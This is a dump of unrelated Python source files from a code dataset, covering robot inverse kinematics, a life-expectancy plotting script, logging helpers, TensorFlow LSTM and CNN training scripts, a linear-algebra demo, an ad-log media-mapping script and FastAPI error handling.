orientation[:,2]\n\n # Check condition of singularity for q[4] -> q_5 (The signle term in the matrix)\n singularity_condition2 = abs(n[0])\n # Singularity\n if(singularity_condition2 == 1):\n q[4] = np.arccos(n[0])\n # Here it is singularity such that q_4 + 4_6 = number\n # We need to take into account the joint limits\n # How to choose q_4 -> q[3] and q_6 -> q[5]: because the last joint is the one with biggest values, we will choose to move it to its limits\n # To improve this method, it is better to have a history for the previous movement of the robot and choose the angle that is close to each joint\n # Instead of the situation that 6th joint in its minimum and we need to reach its maximum but if we moved 4th joint we will get that orientation easily, but in the implemented method, it will not work like that\n angle = np.arctan2(s[2], s[1])\n q[5] = max(min(angle,joint_limits[5][1]), joint_limits[5][0])\n q[3] = angle - q[5]\n status += \"\\nMany solutions [Gimbal-lock] (q_4+q_6=angle), however, only one solution has been selected\"\n else:\n q[3] = np.arctan2(n[1], -n[2])\n q[5] = np.arctan2(s[0], a[0])\n singularity_condition3 = a[0]\n if(singularity_condition3 == 0):\n if(np.sin(q[5]) == 0):\n q[4] = np.arctan2(s[0],0)\n else:\n q[4] = np.arctan2((s[0]/np.sin(q[5])),n[0])\n else:\n if(np.cos(q[5]) == 0):\n q[4] = np.arctan2(a[0], 0)\n else:\n q[4] = np.arctan2((a[0]/np.cos(q[5])), n[0])\n status += \"\\nOne Solution\"\n\n\n return q, status","sub_path":"assignment1_kinematics/src/IK.py","file_name":"IK.py","file_ext":"py","file_size_in_byte":4456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"329368976","text":"#Sources\r\n#https://docs.python.org/3/library/csv.html\r\n#https://matplotlib.org/users/index.html\r\n\r\nimport matplotlib.pyplot as plt\r\nimport csv\r\nimport numpy as np\r\n\r\nfilename = \"IHME_USA_LIFE_EXPECTANCY_1985_2010.csv\"\r\ndef worst_county(year):\r\n with open('Life/IHME_USA_LIFE_EXPECTANCY_1985_2010.csv') as life:\r\n life = csv.reader(life)\r\n worst = 200\r\n state = \"\"\r\n county = \"\"\r\n for i in life:\r\n if i[3] == str(year):\r\n avg = (float(i[4])+float(i[7]))/2\r\n if avg < worst:\r\n worst = avg\r\n state,county = i[0], i[1]\r\n return (state,county)\r\n\r\ndef plotdata(state,county):\r\n with open('Life/IHME_USA_LIFE_EXPECTANCY_1985_2010.csv') as life:\r\n life = csv.reader(life)\r\n femCounty = []\r\n femUS = []\r\n femState = []\r\n maleCounty = []\r\n maleUS = []\r\n maleState = []\r\n years = []\r\n for i in life:\r\n if i[0] == state and i[1] == county:\r\n femCounty.append(float(i[4]))\r\n femUS.append(float(i[5]))\r\n femState.append(float(i[6]))\r\n maleCounty.append(float(i[7]))\r\n maleUS.append(float(i[8]))\r\n maleState.append(float(i[9]))\r\n years.append(int(i[3]))\r\n \r\n plt.figure(figsize=(8,6))\r\n plt.plot(years, femCounty, label='Female (County)', marker='o', color='r')\r\n plt.plot(years, femUS, label='Female (National)', marker='s', color='r')\r\n plt.plot(years, femState, label='Female (State)',marker='D', color='r')\r\n plt.plot(years, maleCounty, label='Male (County)', marker='o', color='b')\r\n plt.plot(years, maleUS, label='Male (National)',marker='s', color='b')\r\n plt.plot(years, maleState, label='Male (State)',marker='D', color='b')\r\n plt.xlabel('Year')\r\n plt.ylabel('Average Life Expectancy')\r\n plt.title('Average Life Expectancy in ' + state + ', ' + county + ' from 1985-2010')\r\n plt.legend()\r\n fig = plt.gcf()\r\n plt.show()\r\n sf = 'Life/' + state + '_' + county + '.png'\r\n fig.savefig(sf)\r\n\r\nif __name__ == \"__main__\":\r\n state,county = worst_county(2010)\r\n plotdata(state,county)","sub_path":"Life/expect.py","file_name":"expect.py","file_ext":"py","file_size_in_byte":2287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"124796399","text":"# -*- coding: utf-8 -*-\n# =============================================================================\n# AUTHOR: Manoel Brunnen, manoel.brunnen@gmail.com\n# CREATED: 10.01.2017\n# LICENSE: MIT\n# FILE: logger.py\n# =============================================================================\n\"\"\" Implement the HAMAS Logger.\n\"\"\"\n\nimport logging.config\nimport os\nimport sys\nimport csv\nimport io\nimport logging\nimport re\n\nimport yaml\n\n\ndef config_logger(logger_config_file=None):\n \"\"\"Call this function to enable a fully configurable logger for this package.\n\n Kwargs:\n logger_config_file (str): Path of logging configuration file.\n\n \"\"\"\n if logger_config_file is not None:\n\n with open(logger_config_file, 'rt') as f:\n config = yaml.safe_load(f.read())\n for h in config['handlers'].values():\n if 'filename' in h:\n dir = os.path.dirname(h['filename'])\n os.makedirs(dir, exist_ok=True)\n logging.config.dictConfig(config)\n else:\n fmt = '{levelname}\\t{asctime}\\t{name:50}\\tl:{lineno}\\t{message}'\n style = '{'\n date_fmt = '%d-%m-%y %H:%M:%S'\n level = 'INFO'\n logging.basicConfig(\n style=style,\n format=fmt,\n datefmt=date_fmt,\n level=level,\n stream=sys.stdout)\n\n\nclass PatternFilter(object):\n\n def __init__(self, patterns):\n self._patterns = patterns\n\n def filter(self, record):\n name = record.name\n\n if record.levelno >= logging.ERROR:\n return True\n for pattern in self._patterns:\n if re.search(pattern, name):\n return True\n return False\n\n\nclass CSVFilter(object):\n def __init__(self, context):\n self._header_printed = False\n self._context = context\n\n def filter(self, record):\n\n if hasattr(record,\n 'data_context') and record.data_context == self._context:\n data = record.data\n data['timestamp'] = record.created\n output = io.StringIO()\n writer = csv.DictWriter(\n output, fieldnames=sorted(data.keys()), lineterminator='')\n if not self._header_printed:\n writer.writeheader()\n output.write('\\n')\n self._header_printed = True\n writer.writerow(data)\n record.row = output.getvalue()\n return True\n else:\n return False\n","sub_path":"hamas/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"519647251","text":"import tensorflow as tf\nfrom DataHandler import DataHandler\nfrom RNNGenerator import RNNGenerator\nfrom SessionRunner import SessionRunner\n\nlog_path = 'output/tensorflow/'\nwriter = tf.summary.FileWriter(log_path)\n\n# Load and prepare data\ndata_handler = DataHandler()\n\ntraining_data = data_handler.read_data('Data/Zulu.txt')\n\ndictionary, reverse_dictionary = data_handler.build_datasets(training_data)\n\n# TensorFlow Graph input\nn_input = 3\nn_units = 512\n\nx = tf.placeholder(\"float\", [None, n_input, 1])\ny = tf.placeholder(\"float\", [None, len(dictionary)])\n\n# RNN output weights and biases\nweights = {\n 'out': tf.Variable(tf.random_normal([n_units, len(dictionary)]))\n}\nbiases = {\n 'out': tf.Variable(tf.random_normal([len(dictionary)]))\n}\n\nrnn_generator = RNNGenerator()\nlstm = rnn_generator.create_LSTM(x, weights, biases, n_input, n_units)\n\n# Loss and optimizer\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=lstm, labels=y))\noptimizer = tf.train.RMSPropOptimizer(learning_rate=0.001).minimize(cost)\n\n# Model evaluation\ncorrect_pred = tf.equal(tf.argmax(lstm,1), tf.argmax(y,1))\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n# Initializing the variables\ninitilizer = tf.global_variables_initializer()\n\nsession_runner = SessionRunner(optimizer, accuracy, cost, lstm, initilizer, writer)\nsession_runner.run_session(x, y, n_input, dictionary, reverse_dictionary, training_data)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"86453583","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Normal Equations vs Pseudoinverse\n\n# In[1]:\n\n\nimport numpy as np\nimport numpy.linalg as la\n\n\n# Here's a simple overdetermined linear system, which we'll solve using both the normal equations and the pseudoinverse:\n\n# In[2]:\n\n\nA = np.random.randn(5, 3)\nb = np.random.randn(5)\n\n\n# ### Normal Equations\n# \n# Solve $Ax\\cong b$ using the normal equations:\n\n# In[3]:\n\n\nx1 = la.solve(A.T@A, A.T@b)\nx1\n\n\n# ### Pseudoinverse\n# \n# Solve $Ax\\cong b$ using the pseudoinverse:\n\n# In[4]:\n\n\nU, sigma, VT = la.svd(A)\nprint(U)\nprint(sigma)\nprint(VT)\n\n\n# In[5]:\n\n\nSigma_inv = np.zeros_like(A.T)\nSigma_inv[:3,:3] = np.diag(1/sigma)\nSigma_inv\n\n\n# In[6]:\n\n\npinv = VT.T @ Sigma_inv @ U.T\nx2 = pinv @ b\nx2\n\n\n# In[7]:\n\n\nla.norm(x1-x2)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"demos/upload/toshow2/Normal equations vs Pseudoinverse.py","file_name":"Normal equations vs Pseudoinverse.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"311851097","text":"import developed\ndeveloped.print_stamp()\n\nprint(\"\\n***** Load modules *****\")\nimport os, inspect, argparse\nos.environ['TF_CPP_MIN_LOG_LEVEL']='2'\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n# custom module\nimport dataset_loader\nimport utility\nprint(\" Load module complete\")\n\nPACK_PATH = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\n\ndef weight_variable(shape):\n # standard deviation = 0.1\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\ndef conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\ndef max_pool_2x2(x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\ndef request_dataset(path):\n\n print(\"\\n***** Load dataset *****\")\n\n dataset, classes = dataset_loader.load_dataset(path=PACK_PATH+\"/images\", img_h=FLAGS.height, img_w=FLAGS.width)\n\n num_train = dataset.train.amount\n num_test = dataset.test.amount\n print(\" Num of Train images : \"+str(num_train))\n print(\" Num of Test images : \"+str(num_test))\n return dataset, classes, min(num_train, num_test)\n\ndef conv_neural_network(x, y_, height=28, width=28, dimension=1, classes=None):\n\n print(\"\\n***** Initialize CNN Layers *****\")\n\n print(\"\\n* Layer 1 Init\")\n # 5, 5: window size\n # 1: number of input channel\n # 32: number of output channel\n W_conv1 = weight_variable([5, 5, dimension, 32])\n b_conv1 = bias_variable([32])\n\n # Convolusion x(input data) and W(weight) and add b(bias)\n # And apply relu function\n h_conv1 = tf.nn.relu(conv2d(x, W_conv1) + b_conv1)\n # Apply max pooling on (h = x conv W + b)\n h_pool1 = max_pool_2x2(h_conv1)\n print(\" \"+str(h_pool1.shape))\n\n print(\"\\n* Layer 2 Init\")\n W_conv2 = weight_variable([5, 5, 32, 64])\n b_conv2 = bias_variable([64])\n\n h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\n h_pool2 = max_pool_2x2(h_conv2)\n print(\" \"+str(h_pool2.shape))\n\n \"\"\"\n One benefit of replacing a fully connected layer with a convolutional layer is that the number of parameters to adjust are reduced due to the fact that the weights are shared in a convolutional layer.\n This means faster and more robust learning. Additionally max pooling can be used just after a convolutional layer to reduce the dimensionality of the layer.\n This means improved robustness to distortions in input stimuli and a better overall performance.\n reference: https://www.quora.com/What-are-the-benefits-of-converting-a-fully-connected-layer-in-a-deep-neural-network-to-an-equivalent-convolutional-layer\n \"\"\"\n print(\"\\n* Fully connected Layer Init\")\n # 7*7: frame size : 28*28 -> 14*14 -> 7*7 (caused by max pool)\n # 64: number of output channel of Layer 2\n full_flat = int(h_pool2.shape[1] * h_pool2.shape[2] * h_pool2.shape[3])\n full_con = 1024\n W_fc1 = weight_variable([full_flat, full_con])\n b_fc1 = bias_variable([full_con])\n\n h_pool2_flat = tf.reshape(h_pool2, [-1, full_flat])\n h_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\n print(\" \"+str(h_fc1.shape))\n\n print(\"\\n* Dropout Layer Init\")\n # Prevention overfitting\n keep_prob = tf.placeholder(tf.float32)\n h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\n print(\" \"+str(h_fc1_drop.shape))\n\n print(\"\\n* Softmax Layer Init\")\n W_fc2 = weight_variable([full_con, classes])\n b_fc2 = bias_variable([classes])\n\n y_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\n print(\" \"+str(y_conv.shape))\n\n cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y_conv), reduction_indices=[1]))\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy) # return\n\n correct_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) # return\n\n return keep_prob, train_step, accuracy\n\n#============================================================================\ndef main():\n dataset, classes, min_b = request_dataset(path=\"images/\")\n # Separate composition and execute\n sess = tf.InteractiveSession()\n\n # Initialize placeholdersshape[0]\n # x is image, y_ is label\n #x = tf.placeholder(tf.float32, shape=[None, img_length])\n #y_ = tf.placeholder(tf.float32, shape=[None, classes])\n height, width, dimension = dataset.train.shape\n x = tf.placeholder(tf.float32, shape=[None, height, width, dimension])\n y_ = tf.placeholder(tf.float32, shape=[None, classes])\n\n keep_prob, train_step, accuracy = conv_neural_network(x, y_, height=height, width=width, dimension=dimension, classes=classes)\n\n print(\"\\n***** Training with CNN *****\")\n sess.run(tf.global_variables_initializer())\n print(\" Initialized all variables\")\n\n #Create a saver object which will save all the variables\n saver = tf.train.Saver()\n\n batch_size = FLAGS.batch\n if(batch_size > min_b):\n batch_size = min_b\n\n epochs=FLAGS.epochs\n epoch_step = 10\n if(epochs <= 10):\n epoch_step = 1\n\n train_acc_list = []\n test_acc_list = []\n print(\"\\n Training... epochs: %d, batch size: %d\\n\" %(epochs, batch_size))\n\n for i in range(epochs):\n # dataset.train.next_batch returns images, labels\n train = dataset.train.next_batch(batch_size)\n if i%epoch_step == 0:\n test = dataset.test.next_batch(batch_size)\n\n train_accuracy = accuracy.eval(feed_dict={x:train[0], y_:train[1], keep_prob: 1.0})\n test_accuracy = accuracy.eval(feed_dict={x:test[0], y_:test[1], keep_prob: 1.0})\n train_acc_list.append(train_accuracy)\n test_acc_list.append(test_accuracy)\n print(\" Step %d\\n\\ttrain acc, test acc | %.5f, %.5f\\r\" %(i, train_accuracy, test_accuracy))\n train_step.run(feed_dict={x:train[0], y_:train[1], keep_prob: 0.5}) # dropout 50%\n\n test = dataset.test.next_batch(batch_size)\n print(\"\\n Final Test accuracy %g\"%accuracy.eval(feed_dict={x:test[0], y_:test[1], keep_prob: 1.0}))\n\n if(not(os.path.exists(\"./checkpoint\"))):\n os.mkdir(\"./checkpoint\")\n else:\n pass\n saver.save(sess, \"./checkpoint/checkpoint\",global_step=1000)\n\n utility.show_graph(train_acc_list, test_acc_list)\n utility.save_graph_as_image(train_acc_list, test_acc_list)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--epochs', type=int, default=100, help='Default: 100')\n parser.add_argument('--batch', type=int, default=10, help='Default: 10. Batches per iteration, the number of data to be training and testing.')\n parser.add_argument('--height', type=float, default=1, help='Default: 28. Enter the size to resize images what you want')\n parser.add_argument('--width', type=float, default=1, help='Default: 28. Enter the size to resize images what you want')\n FLAGS, unparsed = parser.parse_known_args()\n\n main()\n","sub_path":"run_cnn.py","file_name":"run_cnn.py","file_ext":"py","file_size_in_byte":7072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"513484952","text":"# -*- coding: utf-8 -*-\n\nimport os, sys, csv, random\n\n# 0:订单ID, 1:广告ID, 2:媒体ID, 3:价格, 4:exchange id, 5:创意ID, 6:占比(20%写为20)\n# 7:浮动比\ndefault_list = [\"-1\", \"-1\", \"-1\", \"0\", \"-1\", \"-1\", \"100\", \"5\"]\n\n'''\n城市ID映射关系\n广东-200 -> 广州4865\n浙江-180 -> 杭州4353\n福建-190 -> 福州4609\n江苏-140 -> 南京3329\n河北-90 -> 石家庄2049\n安徽-130 -> 合肥3073\n黑龙江-50-> 哈尔滨1025\n辽宁-70 -> 沈阳1537\n山东-110 -> 济南2561\n吉林 -60 -> 长春1281\n'''\ncity_map = {\"-50\":\"1025\", \"-60\":\"1281\", \"-70\":\"1537\", \"-90\":\"2049\", \n \"-110\":\"2561\", \"-130\":\"3073\", \"-140\":\"3329\", \"-180\":\"4353\", \n \"-190\":\"4609\", \"-200\":\"4865\"}\ncity_values = list(city_map.values())\nother_city_id = \"99999\"\n\ndef load_map(map_file: str) -> []:\n '''\n 将媒体映射数据载入列表\n :param map_file: 媒体映射文件\n :return: 媒体映射数据列表\n '''\n map_list = []\n\n with open(map_file, \"r\") as csv_input:\n reader = csv.reader(csv_input, delimiter='\\t')\n for row in reader:\n map_list.append(row)\n\n return map_list\n\ndef init_order_adv_map(map_list: []) -> {}:\n '''\n 将媒体映射数据转为哈希结构\n key为订单ID和广告ID的组合\n value为列表, 内容为key相同的媒体映射数据\n :param map_list: 媒体映射数据\n :return: 哈希结构存的数据\n '''\n order_adv_map = {}\n\n for row in map_list:\n order_adv = row[0] + \"_\" + row[1]\n\n list_value = order_adv_map.get(order_adv)\n if (list_value == None):\n list_value = []\n\n list_value.append(row)\n order_adv_map[order_adv] = list_value\n\n return order_adv_map\n\ndef exchange_range(ranges: []) -> []:\n '''\n 随机交换数组的次序\n :param ranges: 数组\n :return: 随机交换次序的数组\n '''\n result = []\n range_size = len(ranges)\n\n while(range_size > 0):\n index = random.randint(0, range_size - 1)\n result.append(ranges[index])\n del ranges[index]\n range_size = len(ranges)\n\n return result\n\ndef get_extend_range(map_list: []) -> []:\n '''\n 取得占比的调整幅度\n :param map_list: 媒体映射规则列表\n :return: 指定范围里的随机幅度列表\n '''\n ranges = []\n\n sum_range = 0\n map_size = len(map_list)\n for i in range(0, map_size - 1):\n # 产生指定范围里随机且和收敛于0的小数\n row = map_list[i]\n max_range = float(row[7])\n random_num = round(random.uniform(0, max_range), 2)\n if (sum_range > 0):\n random_num = -1 * random_num\n\n ranges.append(random_num)\n sum_range = sum_range + random_num\n\n ranges.append(round(-1 * sum_range, 2))\n\n return exchange_range(ranges)\n\ndef init_map_size(log_list: [], map_list: []):\n '''\n 根据占比, 计算每个媒体映射广告日志的点击,展示个数\n :param log_list: 日志数据列表\n :param map_list: 媒体映射规则列表\n :return: 无返回,直接在map_list的元素增加以下列\n 8:点击映射个数, 9:点击已映射个数, 10:展示映射个数, 11:展示已映射个数\n '''\n if (map_list != None and len(map_list) > 1):\n # 计算点击,展示数\n click, show = 0, 0\n for row in log_list:\n if row[11] == \"5\":\n click = click + 1\n if row[11] == \"4\":\n show = show + 1\n\n # 计算美个媒体的点击,展示数\n click_usage, show_usage = 0, 0\n map_size = len(map_list)\n ranges = get_extend_range(map_list)\n\n for i in range(0, map_size - 1):\n row = map_list[i]\n\n percent = (float(row[6]) + ranges[i]) / 100\n map_click = int(round(click * percent))\n click_usage = click_usage + map_click\n map_show = int(round(show * percent))\n show_usage = show_usage + map_show\n\n row.append(map_click)\n row.append(0)\n row.append(map_show)\n row.append(0)\n\n # 最后一个媒体的为总的减去其它的\n row = map_list[map_size - 1]\n row.append(click - click_usage)\n row.append(0)\n row.append(show - show_usage)\n row.append(0)\n\ndef search_map_row(map_list: [], map_row_index: {}, log_row: []) -> []:\n '''\n 查找日志数据使用的媒体映射规则\n :param map_list: 媒体映射规则列表, 列表中至少2个元素, 没有或单个的不走此方法\n :param map_row_index: 媒体映射规则索引\n :param log_row: 日志数据\n :return:\n '''\n hash_code = log_row[14]\n map_row = map_row_index.get(hash_code)\n if (map_row == None):\n map_size = len(map_list)\n map_index = int(hash_code) % map_size\n map_row = map_list[map_index]\n\n # 定位点击媒体映射规则,已满的需要向后查找\n if (log_row[11] == \"5\"):\n # 查找首个点击未满的媒体映射规则\n while (map_row[8] <= int(map_row[9])):\n map_index = (map_index + 1) % map_size\n map_row = map_list[map_index]\n # 其它为展示数据\n else:\n # 查找首个展示未满的媒体映射规则\n while (map_row[10] <= int(map_row[11])):\n map_index = (map_index + 1) % map_size\n map_row = map_list[map_index]\n\n return map_row\n\ndef map_data(log_list: [], map_list: []) -> []:\n '''\n 将媒体,广告,exchange id等映射为新的值\n :param log_list: 日志数据列表\n :param map_list: 媒体映射规则列表\n :return: 转换后的日志数据列表\n '''\n city_size = len(city_values)\n # 根据占比计算媒体映射日志的个数\n init_map_size(log_list, map_list)\n\n # hash_code到媒体映射规则的索引\n map_row_index = {}\n\n for row in log_list:\n map_row = default_list\n if (map_list != None and len(map_list) > 0):\n if (len(map_list) == 1):\n map_row = map_list[0]\n else:\n map_row = search_map_row(map_list, map_row_index, row)\n # 点击需要保存媒体映射规则,修改已映射媒体个数\n if (row[11] == \"5\"):\n hash_code = row[14]\n map_row_index[hash_code] = map_row\n map_row[9] = int(map_row[9]) + 1\n else:\n map_row[11] = int(map_row[11]) + 1\n\n # 分别替换媒体,价格,exchange id,创意\n row[4], row[10], row[13], row[5] = map_row[2], map_row[3], map_row[4], map_row[5]\n # 城市ID替换\n city_id = row[3]\n if city_map.get(city_id) != None :\n row[3] = city_map.get(city_id)\n if city_id == other_city_id :\n index = random.randint(0, city_size - 1)\n row[3] = city_values[index]\n\n return log_list\n\ndef map_media(log_file: str, map_file: str, out_file: str):\n '''\n 媒体等数据映射处理\n :param log_file:\n :param map_file:\n :param out_file:\n :return:\n '''\n map_list = load_map(map_file)\n order_adv_map = init_order_adv_map(map_list)\n\n with open(out_file, \"w\") as csv_output:\n writer = csv.writer(csv_output, delimiter=',', lineterminator='\\n')\n\n # 用于区分一批日志的键,由订单和广告的组合组成\n pre_order_adv = None\n # 键值相同的一批数据\n log_list = []\n\n with open(log_file, \"r\") as csv_input:\n #reader = csv.reader(csv_input, delimiter='\\t')\n reader = csv.reader((line.replace('\\0', '') for line in csv_input), delimiter='\\t')\n for row in reader:\n order_adv = row[1] + \"_\" + row[5]\n if pre_order_adv == None :\n pre_order_adv = order_adv\n\n # 当变换键值(订单和广告)时,处理上一批订单和广告相同的数据\n if (order_adv != pre_order_adv):\n map_list = order_adv_map.get(pre_order_adv)\n data_list = map_data(log_list, map_list)\n writer.writerows(data_list)\n pre_order_adv = order_adv\n log_list.clear()\n\n log_list.append(row)\n\n if (len(log_list) > 0):\n map_list = order_adv_map.get(pre_order_adv)\n data_list = map_data(log_list, map_list)\n writer.writerows(data_list)\n\nif __name__ == '__main__':\n '''\n log_file: 0:日志时间戳, 1:订单ID, 2:设备类型, 3:城市ID, 4:媒体ID, 5:广告ID, 6:受众属性项ID, 7:用户ID, 8:结算方式\n 9:成本类型, 10:花费, 11:日志类型, 12:时, 13:adwo exchange id, 14:列哈希值\n map_file: 0:订单ID, 1:广告ID, 2:媒体ID, 3:价格, 4:exchange id, 5:创意ID, 6:占比(20%写为20), 7:浮动比\n out_file: 0:日志时间戳, 1:订单ID, 2:设备类型, 3:城市ID, 4:amnet媒体ID, 5:创意ID, 6:受众属性项ID, 7:用户ID, 8:结算方式\n 9:成本类型, 10:花费, 11:日志类型, 12:时, 13:amnet exchange id, 14:列哈希值\n '''\n if (len(sys.argv) > 3):\n log_file = sys.argv[1]\n map_file = sys.argv[2]\n out_file = sys.argv[3]\n map_media(log_file, map_file, out_file)\n else:\n print(\"usage: python3 create_media.py [log_file] [map_file] [out_file]\")\n","sub_path":"util/file/create_media.py","file_name":"create_media.py","file_ext":"py","file_size_in_byte":9429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"96890711","text":"'''\nCreated on Dec 14, 2015\n\n@author: AndiD\n'''\n\nfrom operator import itemgetter\nfrom contr.ControllerException import ControllerException\nfrom contr.UndoableOperations import AddOperation, RemoveOperation, UpdateOperation\nfrom domain.Grade import Grade\n\n\nclass ControllerGrade:\n def __init__(self, repository_student, repository_assign, repo, validator, controller_undo_redo):\n \"\"\"\n initialise the main controller with the fields: controllers for student and assign, repository and validator for grade, undo_redo_repository\n \"\"\"\n self.__repo_stud = repository_student\n self.__repo_assign = repository_assign\n self.__repository = repo\n self.__validator = validator\n self.controller_undo_redo = controller_undo_redo\n self._operations = []\n self._index = 0\n\n def add_grade(self, student_id, assign_id, grade_id, grade):\n \"\"\"\n adds a grade\n :param student_id: > 0\n :param assign_id: > 0\n :param grade_id: > 0\n :param grade: between 0 and 10\n :return:\n \"\"\"\n student = self.__repo_stud.get_by_id(student_id)\n assign = self.__repo_assign.get_by_id(assign_id)\n grade = Grade(grade_id, student, assign, grade)\n self.__validator.validate_grade(grade)\n for g in self.__repository.get_all():\n if g.get_id() == grade_id:\n raise ControllerException(\"Can not add grade with same id\")\n self.__repository.add_item(grade)\n self._operations.append(AddOperation(grade))\n self._index += 1\n self.controller_undo_redo.add([self])\n\n def get_all_grades(self):\n \"\"\"\n returns all grades\n :return:\n \"\"\"\n return self.__repository.get_all()\n\n def get_by_id(self, id_grade):\n return self.__repository.get_by_id(id_grade)\n\n def remove_grade(self, grade_id):\n \"\"\"\n removes a grade\n :param grade_id: > 0\n :return:\n \"\"\"\n grade = self.get_by_id(grade_id)\n self.__repository.remove_item(grade_id)\n self._operations.append(RemoveOperation(grade))\n self._index += 1\n self.controller_undo_redo.add([self])\n\n\n def update_grade(self, grade_id, grade):\n \"\"\"\n updates a grade\n :param grade_id: > 0\n :param grade: between 0 and 10\n :return:\n \"\"\"\n g = self.__repository.get_by_id(grade_id)\n gr = Grade(g.get_id(), g.get_student(), g.get_assignment(), grade)\n self.__validator.validate_grade(gr)\n self.__repository.update_item(gr)\n new_grade = self.get_by_id(grade_id)\n self._operations.append(UpdateOperation(g, new_grade))\n self._index += 1\n self.controller_undo_redo.add([self])\n\n def stud_grade_one_assign(self, assign_id):\n \"\"\"\n returns all students and their grades at one single assignment\n :param assign_id:\n :return:\n \"\"\"\n list_of_students = []\n for grade in self.get_all_grades():\n if grade.get_assignment().get_id() == assign_id:\n list_of_students.append([grade.get_student().get_name(), grade.get_grade()])\n return list_of_students\n\n def order_alphabetically(self, assign_id):\n \"\"\"\n orders alphabetically the list of students and their grades\n :param assign_id: > 0\n :return:\n \"\"\"\n list_of_stud = self.stud_grade_one_assign(assign_id)\n my_list = sorted(list_of_stud, key=itemgetter(0))\n return my_list\n\n def order_by_grade_lower_5(self, assign_id):\n \"\"\"\n orders by their grade (<5) the list of students and their grades\n :param assign_id: > 0\n :return:\n \"\"\"\n list_of_stud = self.stud_grade_one_assign(assign_id)\n my_list = []\n for i in list_of_stud:\n if i[1] <= 5:\n my_list.append(i)\n my_list = sorted(my_list, key=itemgetter(1))\n return my_list\n\n def read(self):\n self.__repository.reading()\n\n def write(self):\n self.__repository.writing()\n\n def undo(self):\n if self._index == 0:\n return False\n\n self._index -= 1\n operation = self._operations[self._index]\n\n if isinstance(operation, AddOperation):\n self.__repository.remove_item(operation.get_item().get_id())\n elif isinstance(operation, RemoveOperation):\n self.__repository.add_item(operation.get_item())\n elif isinstance(operation, UpdateOperation):\n self.__repository.update_item(operation.get_old())\n else:\n self._index +=1\n\n def redo(self):\n if self._index >= len(self._operations):\n return False\n\n operation = self._operations[self._index]\n if isinstance(operation, AddOperation):\n self.__repository.add_item(operation.get_item())\n self._index +=1\n elif isinstance(operation, RemoveOperation):\n self.__repository.remove_item(operation.get_item().get_id())\n self._index +=1\n elif isinstance(operation, UpdateOperation):\n self.__repository.update_item(operation.get_updated())\n self._index +=1\n else:\n self._index -= 1\n\n\n","sub_path":"lab57/src/contr/ControllerGrade.py","file_name":"ControllerGrade.py","file_ext":"py","file_size_in_byte":5289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"130415600","text":"import logging\n\nfrom fastapi.responses import JSONResponse\nfrom sqlalchemy.exc import IntegrityError\n\nlog = logging.getLogger(__name__)\n\n\nclass ServerError(Exception):\n status_code = 500\n\n def __init__(self, *args, **kwargs):\n if args:\n self.message = self.message.format(*args) # noqa\n if kwargs:\n self.message = self.message.format(**kwargs) # noqa\n super().__init__(self.message)\n\n\nclass MissingSessionError(ServerError):\n message = \"No session found!\"\n\n\nclass CRUDOperationError(ServerError):\n pass\n\n\nclass CreateError(CRUDOperationError):\n status_code = 400\n message = \"Could not create {model} with params={params}\"\n\n\nclass UpdateError(CRUDOperationError):\n status_code = 400\n message = \"Could not update {model} with {field}{value} and params={data}\"\n\n\nclass GetError(CRUDOperationError):\n status_code = 400\n message = \"Could not get {model} with {field}={value}\"\n\n\nclass DeleteError(CRUDOperationError):\n status_code = 400\n message = \"Could not delete {model} with {field}={value}\"\n\n\ndef configure_exc_handler(app):\n @app.exception_handler(ServerError)\n async def exception_handler(_, exc: ServerError):\n status_code = exc.status_code\n message = exc.message\n cause = None\n\n if isinstance(exc.__cause__, IntegrityError):\n status_code = 403\n cause = \"Duplicate resource error\"\n\n if cause:\n message = f\"{message} : {cause}\"\n\n return JSONResponse(status_code=status_code, content=message)\n","sub_path":"fastapi_simple_login/exception.py","file_name":"exception.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"171280729","text":"import json\nimport os\n\nclass Annotations:\n def __init__(self, annotations_path):\n self.annotations_path = annotations_path\n self.annotations_fileNames = []\n self.annotations = {}\n self.boxes = {}\n\n\n def getAnnotations(self):\n self.annotations_fileNames = os.listdir(self.annotations_path) \n for fileName in self.annotations_fileNames:\n f = open(self.annotations_path + fileName)\n data = json.load(f)\n\n 